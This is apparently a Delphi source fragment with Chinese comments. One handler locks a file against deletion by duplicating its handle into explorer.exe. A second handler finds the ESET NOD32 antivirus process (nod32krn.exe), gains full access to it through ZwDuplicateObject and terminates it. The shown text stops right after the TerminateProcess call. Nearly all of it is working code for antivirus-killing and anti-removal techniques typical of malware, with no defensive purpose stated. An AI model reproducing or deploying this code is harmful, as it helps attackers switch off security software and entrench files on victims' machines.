procedure TForm1.Button3Click(Sender: TObject);
var
hfile,hprocess,dwprocessid,hsnap:dword;
lppe: TProcessEntry32;
found : boolean;
begin
lppe.dwSize :=sizeof(PROCESSENTRY32);
hsnap:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found := Process32First(hsnap,lppe);
while found do begin
if strpas(lppe.szExeFile)='explorer.exe' then begin
dwprocessid:=lppe.th32ProcessID ;
end;
found := Process32Next(hsnap,lppe);
end;
//获取待保护的文件的句柄
hfile:=CreateFile('d:\notepad.exe',GENERIC_READ,FILE_SHARE_READ,nil,OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL,0);
//打开占坑进程的句柄
hprocess:=OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwprocessid);
//以 PROCESS_DUP_HANDLE 权限 打开 网上的代码是没有上面这一句代码的，都是直接使用了
//下面这一句 但是我测试中 如果没有上面一句代码 会失败的 不知道为什么
hprocess:=OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwprocessid);
if DuplicateHandle(GetCurrentProcess(),hfile,hprocess,nil,0,false,DUPLICATE_SAME_ACCESS) then showmessage('文件保护OK ');
end;
procedure TForm1.Button4Click(Sender: TObject);
var
hntdll:dword;
hfile,hprocess,dwprocessid,hsnap:dword;
lppe: TProcessEntry32;
found : boolean;
begin
lppe.dwSize :=sizeof(PROCESSENTRY32);
hsnap:=CreateToolhelp32Snapshot(TH32CS_SNAPALL,0);
found := Process32First(hsnap,lppe);
dwprocessid:=0;
while found do begin
if strpas(lppe.szExeFile)='nod32krn.exe' then begin
dwprocessid:=lppe.th32ProcessID ;
end;
found := Process32Next(hsnap,lppe);
end;
hprocess:=OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, dwprocessid);
hprocess:=OpenProcess(PROCESS_DUP_HANDLE, FALSE, dwprocessid);
ZwDuplicateObject(-1, hprocess, -1, Integer(@hprocess), $1F0FFF, 0, 1);
TerminateProcess(hprocess,0);
